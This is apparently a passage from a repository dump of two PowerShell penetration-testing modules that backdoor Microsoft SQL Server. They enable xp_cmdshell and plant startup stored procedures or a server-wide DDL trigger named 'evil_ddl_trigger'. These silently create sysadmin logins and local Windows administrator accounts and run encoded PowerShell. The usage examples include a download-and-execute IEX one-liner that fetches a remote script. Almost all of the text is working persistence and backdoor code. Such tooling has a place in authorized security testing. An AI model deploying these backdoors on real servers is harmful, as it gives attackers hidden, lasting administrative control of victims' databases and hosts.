18 | Create startup stored procedure to add a new sysadmin. The example shows the script being run using a SQL Login.
19 |
20 | PS C:\> Invoke-SqlServer-Persist-StartupSp -SqlServerInstance "SERVERNAME\INSTANCENAME" -SqlUser MySQLAdmin -SqlPass MyPassword123! -NewSqlUser mysqluser -NewSqlPass NewPassword123!
21 |
22 | .EXAMPLE
23 | Create startup stored procedure to add a local administrator to the Windows OS via xp_cmdshell. The example shows the script
24 | being run as the current windows user.
25 |
26 | PS C:\> Invoke-SqlServer-Persist-StartupSp -SqlServerInstance "SERVERNAME\INSTANCENAME" -NewOsUser myosuser -NewOsPass NewPassword123!
27 |
28 | .EXAMPLE
29 | Create startup stored procedure to run a PowerShell command via xp_cmdshell. The example below downloads a PowerShell script and
30 | from the internet and executes it. The example shows the script being run as the current Windows user.
31 |
32 | PS C:\> Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "SERVERNAME\INSTANCENAME" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"
33 |
34 | .LINK
35 | http://www.netspi.com
36 | http://msdn.microsoft.com/en-us/library/ms178640.aspx
37 |
38 | .NOTES
39 | Author: Scott Sutherland - 2014, NetSPI
40 | Version: Invoke-SqlServer-Persist-StartupSp.psm1 v1.0
41 | Comments:
42 | - This should work on SQL Server 2005 and Above.
43 | - The added procedures can be manually viewed using the query below.
44 | SELECT ROUTINE_NAME, ROUTINE_DEFINITION
45 | FROM MASTER.INFORMATION_SCHEMA.ROUTINES
46 | WHERE OBJECTPROPERTY(OBJECT_ID(ROUTINE_NAME),'ExecIsStartup') = 1
47 | - The procedures can also be removed with tsql below.
48 | drop proc sp_add_osadmin
49 | drop proc sp_add_sysadmin
50 | drop proc sp_add_pscmd
51 | #>
52 |
53 | [CmdletBinding()]
54 | Param(
55 |
56 | [Parameter(Mandatory=$false,
57 | HelpMessage='Set SQL Login username.')]
58 | [string]$SqlUser,
59 |
60 | [Parameter(Mandatory=$false,
61 | HelpMessage='Set SQL Login password.')]
62 | [string]$SqlPass,
63 |
64 | [Parameter(Mandatory=$false,
65 | HelpMessage='Set username for new SQL Server sysadmin login.')]
66 | [string]$NewSqlUser,
67 |
68 | [Parameter(Mandatory=$false,
69 | HelpMessage='Set password for new SQL Server sysadmin login.')]
70 | [string]$NewSqlPass,
71 |
72 | [Parameter(Mandatory=$false,
73 | HelpMessage='Set username for new Windows local administrator account.')]
74 | [string]$NewOsUser,
75 |
76 | [Parameter(Mandatory=$false,
77 | HelpMessage='Set password for new Windows local administrator account.')]
78 | [string]$NewOsPass,
79 |
80 | [Parameter(Mandatory=$false,
81 | HelpMessage='Create stored procedure that run the provide PowerShell command.')]
82 | [string]$PsCommand,
83 |
84 | [Parameter(Mandatory=$true,
85 | HelpMessage='Set target SQL Server instance.')]
86 | [string]$SqlServerInstance
87 |
88 | )
89 |
90 | # -----------------------------------------------
91 | # Setup database connection string
92 | # -----------------------------------------------
93 |
94 | # Create fun connection object
95 | $conn = New-Object System.Data.SqlClient.SqlConnection
96 |
97 | # Set authentication type and create connection string
98 | if($SqlUser){
99 |
100 | # SQL login / alternative domain credentials
101 | Write-Output "[*] Attempting to authenticate to $SqlServerInstance with SQL login $SqlUser..."
102 | $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;User ID=$SqlUser;Password=$SqlPass;"
103 | [string]$ConnectUser = $SqlUser
104 | }else{
105 |
106 | # Trusted connection
107 | Write-Output "[*] Attempting to authenticate to $SqlServerInstance as the current Windows user..."
108 | $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;Integrated Security=SSPI;"
109 | $UserDomain = [Environment]::UserDomainName
110 | $Username = [Environment]::UserName
111 | $ConnectUser = "$UserDomain\$Username"
112 | }
113 |
114 |
115 | # -------------------------------------------------------
116 | # Test database connection
117 | # -------------------------------------------------------
118 |
119 | try{
120 | $conn.Open()
121 | Write-Host "[*] Connected."
122 | $conn.Close()
123 | }catch{
124 | $ErrorMessage = $_.Exception.Message
125 | Write-Host "[*] Connection failed" -foreground "red"
126 | Write-Host "[*] Error: $ErrorMessage" -foreground "red"
127 | Break
128 | }
129 |
130 |
131 | # -------------------------------------------------------
132 | # Check if the user is a sysadmin
133 | # -------------------------------------------------------
134 |
135 | # Open db connection
136 | $conn.Open()
137 |
138 | # Setup query
139 | $Query = "select is_srvrolemember('sysadmin') as sysstatus"
140 |
141 | # Execute query
142 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
143 | $results = $cmd.ExecuteReader()
144 |
145 | # Parse query results
146 | $TableIsSysAdmin = New-Object System.Data.DataTable
147 | $TableIsSysAdmin.Load($results)
148 |
149 | # Check if current user is a sysadmin
150 | $TableIsSysAdmin | Select-Object -First 1 sysstatus | foreach {
151 |
152 | $Checksysadmin = $_.sysstatus
153 | if ($Checksysadmin -ne 0){
154 | Write-Host "[*] Confirmed Sysadmin access."
155 | }else{
156 | Write-Host "[*] The current user does not have sysadmin privileges." -foreground "red"
157 | Write-Host "[*] Sysadmin privileges are required." -foreground "red"
158 | Break
159 | }
160 | }
161 |
162 | # Close db connection
163 | $conn.Close()
164 |
165 | # -------------------------------------------------------
166 | # Enabled Show Advanced Options - needed for xp_cmdshell
167 | # -------------------------------------------------------
168 |
169 | # Status user
170 | Write-Host "[*] Enabling 'Show Advanced Options', if required..."
171 |
172 | # Open db connection
173 | $conn.Open()
174 |
175 | # Setup query
176 | $Query = "IF (select value_in_use from sys.configurations where name = 'Show Advanced Options') = 0
177 | EXEC ('sp_configure ''Show Advanced Options'',1;RECONFIGURE')"
178 |
179 | # Execute query
180 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
181 | $results = $cmd.ExecuteReader()
182 |
183 | # Close db connection
184 | $conn.Close()
185 |
186 |
187 | # -------------------------------------------------------
188 | # Enabled xp_cmdshell - needed for os commands
189 | # -------------------------------------------------------
190 |
191 | Write-Host "[*] Enabling 'xp_cmdshell', if required..."
192 |
193 | # Open db connection
194 | $conn.Open()
195 |
196 | # Setup query
197 | $Query = "IF (select value_in_use from sys.configurations where name = 'xp_cmdshell') = 0
198 | EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE')"
199 |
200 | # Execute query
201 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
202 | $results = $cmd.ExecuteReader()
203 |
204 | # Close db connection
205 | $conn.Close()
206 |
207 |
208 | # -------------------------------------------------------
209 | # Check if the service account is local admin
210 | # -------------------------------------------------------
211 |
212 | Write-Host "[*] Checking if service account is a local administrator..."
213 |
214 | # Open db connection
215 | $conn.Open()
216 |
217 | # Setup query
218 | $Query = @"
219 |
220 | -- Setup reg path
221 | DECLARE @SQLServerInstance varchar(250)
222 | if @@SERVICENAME = 'MSSQLSERVER'
223 | BEGIN
224 | set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
225 | END
226 | ELSE
227 | BEGIN
228 | set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
229 | END
230 |
231 | -- Grab service account from service's reg path
232 | DECLARE @ServiceaccountName varchar(250)
233 | EXECUTE master.dbo.xp_instance_regread
234 | N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
235 | N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
236 |
237 | DECLARE @MachineType SYSNAME
238 | EXECUTE master.dbo.xp_regread
239 | @rootkey = N'HKEY_LOCAL_MACHINE',
240 | @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
241 | @value_name = N'ProductType',
242 | @value = @MachineType output
243 |
244 | -- Grab more info about the server
245 | SELECT @ServiceAccountName as SvcAcct
246 | "@
247 |
248 | # Execute query
249 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
250 | $results = $cmd.ExecuteReader()
251 |
252 | # Parse query results
253 | $TableServiceAccount = New-Object System.Data.DataTable
254 | $TableServiceAccount.Load($results)
255 | $SqlServeServiceAccountDirty = $TableServiceAccount | select SvcAcct -ExpandProperty SvcAcct
256 | $SqlServeServiceAccount = $SqlServeServiceAccountDirty -replace '\.\\',''
257 |
258 | # Close db connection
259 | $conn.Close()
260 |
261 | # Open db connection
262 | $conn.Open()
263 |
264 | # Setup query
265 | $Query = "EXEC master..xp_cmdshell 'net localgroup Administrators';"
266 |
267 | # Execute query
268 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
269 | $results = $cmd.ExecuteReader()
270 |
271 | # Parse query results
272 | $TableServiceAccountPriv = New-Object System.Data.DataTable
273 | $TableServiceAccountPriv.Load($results)
274 |
275 | # Close db connection
276 | $conn.Close()
277 | if($SqlServeServiceAccount -eq "LocalSystem" -or $TableServiceAccountPriv -contains "$SqlServeServiceAccount"){
278 | Write-Host "[*] The service account $SqlServeServiceAccount has local administrator privileges."
279 | $SvcAdmin = 1
280 | }else{
281 | Write-Host "[*] The service account $SqlServeServiceAccount does NOT have local administrator privileges."
282 | $SvcAdmin = 0
283 | }
284 |
285 | # -------------------------------------------------------
286 | # Create startup stored procedure to run PowerShell code
287 | # -------------------------------------------------------
288 |
289 | if($PsCommand){
290 |
291 | # Status user
292 | Write-Host "[*] Creating a stored procedure to run PowerShell code..." -foreground "green"
293 |
294 | # Check for local administrator privs
295 | if($SvcAdmin -eq 0){
296 | Write-Host "[*] Note: The PowerShell wont be able to take administrative actions." -foreground "green"
297 | }
298 |
299 | # ---------------------------
300 | # Create procedure
301 | # ---------------------------
302 |
303 | # This encoding method was based on a function by Carlos Perez
304 | # https://raw.githubusercontent.com/darkoperator/Posh-SecMod/master/PostExploitation/PostExploitation.psm1
305 |
306 | # Encode PowerShell command
307 | $CmdBytes = [Text.Encoding]::Unicode.GetBytes($PsCommand)
308 | $EncodedCommand = [Convert]::ToBase64String($CmdBytes)
309 |
310 | # Check if PowerShell command is too long
311 | If ($EncodedCommand.Length -gt 8100)
312 | {
313 | Write-Host "Encoded is too long." -foreground "red"
314 | }else{
315 |
316 | # Open db connection
317 | $conn.Open()
318 |
319 | # Setup query
320 | $Query = "IF NOT EXISTS (SELECT * FROM sys.objects WHERE type = 'P' AND OBJECT_ID = OBJECT_ID('dbo.sp_add_pscmd'))
321 | exec('CREATE PROCEDURE sp_add_pscmd
322 | AS
323 | EXEC master..xp_cmdshell ''PowerShell -enc $EncodedCommand''');"
324 |
325 | # Execute query
326 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
327 | $results = $cmd.ExecuteReader()
328 |
329 | # Close db connection
330 | $conn.Close()
331 |
332 | # ---------------------------
333 | # Mark procedure for startup
334 | # ---------------------------
335 |
336 | # Open db connection
337 | $conn.Open()
338 |
339 | # Setup query - mark procedure for startup
340 | $Query = "EXEC sp_procoption @ProcName = 'sp_add_pscmd',
341 | @OptionName = 'startup',
342 | @OptionValue = 'on';"
343 |
344 | # Execute query - mark procedure for startup
345 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
346 | $results = $cmd.ExecuteReader()
347 |
348 | # Close db connection
349 | $conn.Close()
350 |
351 | Write-Host "[*] Startup stored procedure sp_add_pscmd added to run provided PowerShell command." -foreground "green"
352 | }
353 | }else{
354 | Write-Host "[*] sp_add_pscmd will not be created because pscommand was not provided."
355 | }
356 |
357 |
358 | # -------------------------------------------------------
359 | # Create startup stored procedure to add OS Administrator
360 | # -------------------------------------------------------
361 |
362 | if($NewOsUser){
363 |
364 | # Check for local administrator privs
365 | if($SvcAdmin -eq 0){
366 | Write-Host "[*] sp_add_osadmin will not be created because the service account does not have local administrator privileges."
367 | }else{
368 |
369 | # Status user
370 | Write-Host "[*] Creating a stored procedure to create a os administrator..." -foreground "green"
371 |
372 | # ---------------------------
373 | # Create procedure
374 | # ---------------------------
375 |
376 | # Open db connection
377 | $conn.Open()
378 |
379 | # Setup query
380 | $Query = "IF NOT EXISTS (SELECT * FROM sys.objects WHERE type = 'P' AND OBJECT_ID = OBJECT_ID('dbo.sp_add_osadmin'))
381 | exec('CREATE PROCEDURE sp_add_osadmin
382 | AS
383 | EXEC master..xp_cmdshell ''net user $NewOsUser $NewOsPass /add & net localgroup administrators /add $NewOsUser''');"
384 |
385 | # Execute query - create procedure
386 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
387 | $results = $cmd.ExecuteReader()
388 |
389 | # Close db connection
390 | $conn.Close()
391 |
392 | # ---------------------------
393 | # Mark procedure for startup
394 | # ---------------------------
395 |
396 | # Open db connection
397 | $conn.Open()
398 |
399 | # Setup query
400 | $Query = "EXEC sp_procoption @ProcName = 'sp_add_osadmin',
401 | @OptionName = 'startup',
402 | @OptionValue = 'on';"
403 |
404 | # Execute query
405 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
406 | $results = $cmd.ExecuteReader()
407 |
408 | # Close db connection
409 | $conn.Close()
410 |
411 | Write-Host "[*] Startup stored procedure sp_add_osadmin was created to add os admin $NewOsUser with password $NewOSPass." -foreground "green"
412 | }
413 | }else{
414 | Write-Host "[*] sp_add_osadmin will not be created because NewOsUser and NewOsPass were not provided."
415 | }
416 |
417 | # -------------------------------------------------------
418 | # Create startup stored procedure to add a sysadmin
419 | # -------------------------------------------------------
420 |
421 | if($NewSqlUser){
422 |
423 | # Status user
424 | Write-Host "[*] Creating stored procedure sp_add_sysadmin..." -foreground "green"
425 |
426 | # ---------------------------
427 | # Create procedure
428 | # ---------------------------
429 |
430 | # Open db connection
431 | $conn.Open()
432 |
433 | # Setup query
434 | $Query = "IF NOT EXISTS (SELECT * FROM sys.objects WHERE type = 'P' AND OBJECT_ID = OBJECT_ID('dbo.sp_add_sysadmin'))
435 | exec('CREATE PROCEDURE sp_add_sysadmin
436 | AS
437 | CREATE LOGIN $NewSqlUser WITH PASSWORD = ''$NewSqlPass'';
438 | EXEC sp_addsrvrolemember ''$NewSqlUser'', ''sysadmin'';')"
439 |
440 | # Execute query
441 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
442 | $results = $cmd.ExecuteReader()
443 |
444 | # Close db connection
445 | $conn.Close()
446 |
447 | # ---------------------------
448 | # Mark procedure for startup
449 | # ---------------------------
450 |
451 | # Open db connection
452 | $conn.Open()
453 |
454 | # Setup query
455 | $Query = "EXEC sp_procoption @ProcName = 'sp_add_sysadmin',
456 | @OptionName = 'startup',
457 | @OptionValue = 'on';"
458 |
459 | # Execute query - mark procedure for startup
460 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
461 | $results = $cmd.ExecuteReader()
462 |
463 | # Close db connection
464 | $conn.Close()
465 |
466 | Write-Host "[*] Startup stored procedure sp_add_sysadmin was created to add sysadmin $NewSqlUser with password $NewSqlPass." -foreground "green"
467 | }else{
468 | Write-Host "[*] sp_add_sysadmin will not be created because NewSqlUser and NewSqlPass were not provided."
469 | }
470 | Write-Host "[*] All done."
471 | }
472 |
--------------------------------------------------------------------------------
/Invoke-SqlServer-Persist-TriggerDDL.psm1:
--------------------------------------------------------------------------------
1 | function Invoke-SqlServer-Persist-TriggerDDL
2 | {
3 | <#
4 | .SYNOPSIS
5 | This script can be used backdoor a Windows system using a SQL Server DDL event triggers.
6 |
7 | .DESCRIPTION
8 | This script can be used backdoor a Windows system using a SQL Server DDL event triggers.
9 | As a result, the associated TSQL will execute when any DDL_SERVER_LEVEL_EVENTS occur. This script supports the executing operating system
10 | and PowerShell commands as the SQL Server service account using the native xp_cmdshell stored procedure.
11 | The script also support add a new sysadmin. This script can be run as the current Windows user or a
12 | SQL Server login can be provided. Note: This script requires sysadmin privileges. The DDL_SERVER_LEVEL_EVENTS include:
13 |
14 | CREATE DATABASE
15 | ALTER DATABASE
16 | DROP DATABASE
17 | CREATE_ENDPOINT
18 | ALTER_ENDPOINT
19 | DROP_ENDPOINT
20 | ADD_ROLE_MEMBER
21 | DROP_ROLE_MEMBER
22 | ADD_SERVER_ROLE_MEMBER
23 | DROP_SERVER_ROLE_MEMBER
24 | ALTER_AUTHORIZATION_SERVER
25 | DENY_SERVER
26 | GRANT_SERVER
27 | REVOKE_SERVER
28 | ALTER_LOGIN
29 | CREATE_LOGIN
30 | DROP_LOGIN
31 |
32 | Feel free to change "DDL_SERVER_LEVEL_EVENTS" to "DDL_EVENTS" if you want more coverage, but I haven't had time to test it.
33 |
34 | .EXAMPLE
35 | Create a DDL trigger to add a new sysadmin. The example shows the script being run using a SQL Login.
36 |
37 | PS C:\> Invoke-SqlServer-Persist-TriggerDDL -SqlServerInstance "SERVERNAME\INSTANCENAME" -SqlUser MySQLAdmin -SqlPass MyPassword123! -NewSqlUser mysqluser -NewSqlPass NewPassword123!
38 |
39 | .EXAMPLE
40 | Create a DDL trigger to add a local administrator to the Windows OS via xp_cmdshell. The example shows the script
41 | being run as the current windows user.
42 |
43 | PS C:\> Invoke-SqlServer-Persist-TriggerDDL -SqlServerInstance "SERVERNAME\INSTANCENAME" -NewOsUser myosuser -NewOsPass NewPassword123!
44 |
45 | .EXAMPLE
46 | Create a DDL trigger to run a PowerShell command via xp_cmdshell. The example below downloads a PowerShell script and
47 | from the internet and executes it. The example shows the script being run as the current Windows user.
48 |
49 | PS C:\> Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "SERVERNAME\INSTANCENAME" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"
50 |
51 | .EXAMPLE
52 | Remove evil_DDL_trigger as the current Windows user.
53 |
54 | PS C:\> Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "SERVERNAME\INSTANCENAME" -Remove
55 |
56 | .LINK
57 | http://www.netspi.com
58 | https://technet.microsoft.com/en-us/library/ms186582(v=sql.90).aspx
59 |
60 | .NOTES
61 | Author: Scott Sutherland - 2016, NetSPI
62 | Version: Invoke-SqlServer-Persist-TriggerDDL.psm1 v1.0
63 | #>
64 |
65 | [CmdletBinding()]
66 | Param(
67 |
68 | [Parameter(Mandatory=$false,
69 | HelpMessage='Set SQL Login username.')]
70 | [string]$SqlUser,
71 |
72 | [Parameter(Mandatory=$false,
73 | HelpMessage='Set SQL Login password.')]
74 | [string]$SqlPass,
75 |
76 | [Parameter(Mandatory=$false,
77 | HelpMessage='Set username for new SQL Server sysadmin login.')]
78 | [string]$NewSqlUser,
79 |
80 | [Parameter(Mandatory=$false,
81 | HelpMessage='Set password for new SQL Server sysadmin login.')]
82 | [string]$NewSqlPass,
83 |
84 | [Parameter(Mandatory=$false,
85 | HelpMessage='Set username for new Windows local administrator account.')]
86 | [string]$NewOsUser,
87 |
88 | [Parameter(Mandatory=$false,
89 | HelpMessage='Set password for new Windows local administrator account.')]
90 | [string]$NewOsPass,
91 |
92 | [Parameter(Mandatory=$false,
93 | HelpMessage='Create trigger that will run the provide PowerShell command.')]
94 | [string]$PsCommand,
95 |
96 | [Parameter(Mandatory=$true,
97 | HelpMessage='Set target SQL Server instance.')]
98 | [string]$SqlServerInstance,
99 |
100 | [Parameter(Mandatory=$false,
101 | HelpMessage='This will remove the trigger named evil_DDL_trigger create by this script.')]
102 | [Switch]$Remove
103 | )
104 |
105 | # -----------------------------------------------
106 | # Setup database connection string
107 | # -----------------------------------------------
108 |
109 | # Create fun connection object
110 | $conn = New-Object System.Data.SqlClient.SqlConnection
111 |
112 | # Set authentication type and create connection string
113 | if($SqlUser){
114 |
115 | # SQL login / alternative domain credentials
116 | Write-Output "[*] Attempting to authenticate to $SqlServerInstance with SQL login $SqlUser..."
117 | $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;User ID=$SqlUser;Password=$SqlPass;"
118 | [string]$ConnectUser = $SqlUser
119 | }else{
120 |
121 | # Trusted connection
122 | Write-Output "[*] Attempting to authenticate to $SqlServerInstance as the current Windows user..."
123 | $conn.ConnectionString = "Server=$SqlServerInstance;Database=master;Integrated Security=SSPI;"
124 | $UserDomain = [Environment]::UserDomainName
125 | $Username = [Environment]::UserName
126 | $ConnectUser = "$UserDomain\$Username"
127 | }
128 |
129 |
130 | # -------------------------------------------------------
131 | # Test database connection
132 | # -------------------------------------------------------
133 |
134 | try{
135 | $conn.Open()
136 | Write-Host "[*] Connected."
137 | $conn.Close()
138 | }catch{
139 | $ErrorMessage = $_.Exception.Message
140 | Write-Host "[*] Connection failed" -foreground "red"
141 | Write-Host "[*] Error: $ErrorMessage" -foreground "red"
142 | Break
143 | }
144 |
145 |
146 | # -------------------------------------------------------
147 | # Check if the user is a sysadmin
148 | # -------------------------------------------------------
149 |
150 | # Open db connection
151 | $conn.Open()
152 |
153 | # Setup query
154 | $Query = "select is_srvrolemember('sysadmin') as sysstatus"
155 |
156 | # Execute query
157 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
158 | $results = $cmd.ExecuteReader()
159 |
160 | # Parse query results
161 | $TableIsSysAdmin = New-Object System.Data.DataTable
162 | $TableIsSysAdmin.Load($results)
163 |
164 | # Check if current user is a sysadmin
165 | $TableIsSysAdmin | Select-Object -First 1 sysstatus | foreach {
166 |
167 | $Checksysadmin = $_.sysstatus
168 | if ($Checksysadmin -ne 0){
169 | Write-Host "[*] Confirmed Sysadmin access."
170 | }else{
171 | Write-Host "[*] The current user does not have sysadmin privileges." -foreground "red"
172 | Write-Host "[*] Sysadmin privileges are required." -foreground "red"
173 | Break
174 | }
175 | }
176 |
177 | # Close db connection
178 | $conn.Close()
179 |
180 | # -------------------------------------------------------
181 | # Enabled Show Advanced Options - needed for xp_cmdshell
182 | # -------------------------------------------------------
183 |
184 | # Status user
185 | Write-Host "[*] Enabling 'Show Advanced Options', if required..."
186 |
187 | # Open db connection
188 | $conn.Open()
189 |
190 | # Setup query
191 | $Query = "IF (select value_in_use from sys.configurations where name = 'Show Advanced Options') = 0
192 | EXEC ('sp_configure ''Show Advanced Options'',1;RECONFIGURE')"
193 |
194 | # Execute query
195 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
196 | $results = $cmd.ExecuteReader()
197 |
198 | # Close db connection
199 | $conn.Close()
200 |
201 |
202 | # -------------------------------------------------------
203 | # Enabled xp_cmdshell - needed for os commands
204 | # -------------------------------------------------------
205 |
206 | Write-Host "[*] Enabling 'xp_cmdshell', if required..."
207 |
208 | # Open db connection
209 | $conn.Open()
210 |
211 | # Setup query
212 | $Query = "IF (select value_in_use from sys.configurations where name = 'xp_cmdshell') = 0
213 | EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE')"
214 |
215 | # Execute query
216 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
217 | $results = $cmd.ExecuteReader()
218 |
219 | # Close db connection
220 | $conn.Close()
221 |
222 |
223 | # -------------------------------------------------------
224 | # Check if the service account is local admin
225 | # -------------------------------------------------------
226 |
227 | Write-Host "[*] Checking if service account is a local administrator..."
228 |
229 | # Open db connection
230 | $conn.Open()
231 |
232 | # Setup query
233 | $Query = @"
234 |
235 | -- Setup reg path
236 | DECLARE @SQLServerInstance varchar(250)
237 | if @@SERVICENAME = 'MSSQLSERVER'
238 | BEGIN
239 | set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
240 | END
241 | ELSE
242 | BEGIN
243 | set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
244 | END
245 |
246 | -- Grab service account from service's reg path
247 | DECLARE @ServiceaccountName varchar(250)
248 | EXECUTE master.dbo.xp_instance_regread
249 | N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
250 | N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
251 |
252 | DECLARE @MachineType SYSNAME
253 | EXECUTE master.dbo.xp_regread
254 | @rootkey = N'HKEY_LOCAL_MACHINE',
255 | @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
256 | @value_name = N'ProductType',
257 | @value = @MachineType output
258 |
259 | -- Grab more info about the server
260 | SELECT @ServiceAccountName as SvcAcct
261 | "@
262 |
263 | # Execute query
264 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
265 | $results = $cmd.ExecuteReader()
266 |
267 | # Parse query results
268 | $TableServiceAccount = New-Object System.Data.DataTable
269 | $TableServiceAccount.Load($results)
270 | $SqlServeServiceAccountDirty = $TableServiceAccount | select SvcAcct -ExpandProperty SvcAcct
271 | $SqlServeServiceAccount = $SqlServeServiceAccountDirty -replace '\.\\',''
272 |
273 | # Close db connection
274 | $conn.Close()
275 |
276 | # Open db connection
277 | $conn.Open()
278 |
279 | # Setup query
280 | $Query = "EXEC master..xp_cmdshell 'net localgroup Administrators';"
281 |
282 | # Execute query
283 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
284 | $results = $cmd.ExecuteReader()
285 |
286 | # Parse query results
287 | $TableServiceAccountPriv = New-Object System.Data.DataTable
288 | $TableServiceAccountPriv.Load($results)
289 |
290 | # Close db connection
291 | $conn.Close()
292 |
293 | if($SqlServeServiceAccount -eq "LocalSystem" -or $TableServiceAccountPriv -contains "$SqlServeServiceAccount"){
294 | Write-Host "[*] The service account $SqlServeServiceAccount has local administrator privileges."
295 | $SvcAdmin = 1
296 | }else{
297 | Write-Host "[*] The service account $SqlServeServiceAccount does NOT have local administrator privileges."
298 | $SvcAdmin = 0
299 | }
300 |
301 | # -------------------
302 | # Setup the pscommand
303 | # -------------------
304 | $Query_PsCommand = ""
305 | if($PsCommand){
306 |
307 | # Status user
308 | Write-Host "[*] Creating encoding PowerShell payload..." -foreground "green"
309 |
310 | # Check for local administrator privs
311 | if($SvcAdmin -eq 0){
312 | Write-Host "[*] Note: PowerShell won't be able to take administrative actions due to the service account configuration." -foreground "green"
313 | }
314 |
315 | # This encoding method was based on a function by Carlos Perez
316 | # https://raw.githubusercontent.com/darkoperator/Posh-SecMod/master/PostExploitation/PostExploitation.psm1
317 |
318 | # Encode PowerShell command
319 | $CmdBytes = [Text.Encoding]::Unicode.GetBytes($PsCommand)
320 | $EncodedCommand = [Convert]::ToBase64String($CmdBytes)
321 |
322 | # Check if PowerShell command is too long
323 | If ($EncodedCommand.Length -gt 8100)
324 | {
325 | Write-Host "PowerShell encoded payload is too long so the PowerShell command will not be added." -foreground "red"
326 | }else{
327 |
328 | # Create query
329 | $Query_PsCommand = "EXEC master..xp_cmdshell ''PowerShell -enc $EncodedCommand'';"
330 |
331 | Write-Host "[*] Payload generated." -foreground "green"
332 | }
333 | }else{
334 | Write-Host "[*] Note: No PowerShell will be executed, because the parameters weren't provided."
335 | }
336 |
337 | # -------------------
338 | # Setup newosuser
339 | # -------------------
340 | $Query_OsAddUser = ""
341 | if($NewOsUser){
342 |
343 | # Status user
344 | Write-Host "[*] Creating payload to add OS user..." -foreground "green"
345 |
346 | # Check for local administrator privs
347 | if($SvcAdmin -eq 0){
348 |
349 | # Status user
350 | Write-Host "[*] The service account does not have local administrator privileges so no OS admin can be created. Aborted."
351 | Break
352 | }else{
353 |
354 | # Create query
355 | $Query_OsAddUser = "EXEC master..xp_cmdshell ''net user $NewOsUser $NewOsPass /add & net localgroup administrators /add $NewOsUser'';"
356 |
357 | # Status user
358 | Write-Host "[*] Payload generated." -foreground "green"
359 | }
360 | }else{
361 | Write-Host "[*] Note: No OS admin will be created, because the parameters weren't provided."
362 | }
363 |
364 | # -----------------------
365 | # Setup add sysadmin user
366 | # -----------------------
367 | $Query_SysAdmin = ""
368 | if($NewSqlUser){
369 |
370 | # Status user
371 | Write-Host "[*] Generating payload to add sysadmin..." -foreground "green"
372 |
373 | # Create query
374 | $Query_SysAdmin = "IF NOT EXISTS (SELECT * FROM sys.syslogins WHERE name = ''$NewSqlUser'')
375 | exec(''CREATE LOGIN $NewSqlUser WITH PASSWORD = ''''$NewSqlPass'''';EXEC sp_addsrvrolemember ''''$NewSqlUser'''', ''''sysadmin'''';'')"
376 |
377 | # Status user
378 | Write-Host "[*] Payload generated." -foreground "green"
379 | }else{
380 | Write-Host "[*] Note: No sysadmin will be created, because the parameters weren't provided."
381 | }
382 |
383 | # -------------------------------------------------------
384 | # Create DDL trigger
385 | # -------------------------------------------------------
386 | if(($NewSqlUser) -or ($NewOsUser) -or ($PsCommand)){
387 | # Status user
388 | Write-Host "[*] Creating trigger..." -foreground "green"
389 |
390 | # ---------------------------
391 | # Create procedure
392 | # ---------------------------
393 |
394 | # Open db connection
395 | $conn.Open()
396 |
397 | # Setup query
398 | $Query = "IF EXISTS (SELECT * FROM sys.server_triggers WHERE name = 'evil_ddl_trigger')
399 | DROP TRIGGER [evil_ddl_trigger] ON ALL SERVER
400 | exec('CREATE Trigger [evil_ddl_trigger]
401 | on ALL Server
402 | For DDL_SERVER_LEVEL_EVENTS
403 | AS
404 | $Query_OsAddUser $Query_SysAdmin $Query_PsCommand')"
405 |
406 | $cmd = New-Object System.Data.SqlClient.SqlCommand($Query,$conn)
407 | $results = $cmd.ExecuteReader()
408 |
409 | # Close db connection
410 | $conn.Close()
411 |
412 | Write-Host "[*] The evil_ddl_trigger trigger has been added." -foreground "green"
413 | }else{
414 | Write-Host "[*] No options were provided." -foreground "red"
415 | }
416 |
417 | # -------------------------------------------------------
418 | # REmove DDL trigger
419 | # -------------------------------------------------------
420 | if($Remove){
421 |
422 | # Status user
423 | Write-Host "[*] Removing trigger named evil_DDL_trigger..."
424 |
425 | # ---------------------------
426 | # Create procedure
427 | # ---------------------------
428 |
429 | # Open db connection
430 | $conn.Open()
431 |
432 | # Setup query
433 | $Query = "IF EXISTS (SELECT * FROM sys.server_triggers WHERE name = 'evil_ddl_trigger')
434 | DROP TRIGGER [evil_ddl_trigger] ON ALL SERVER"
435 |
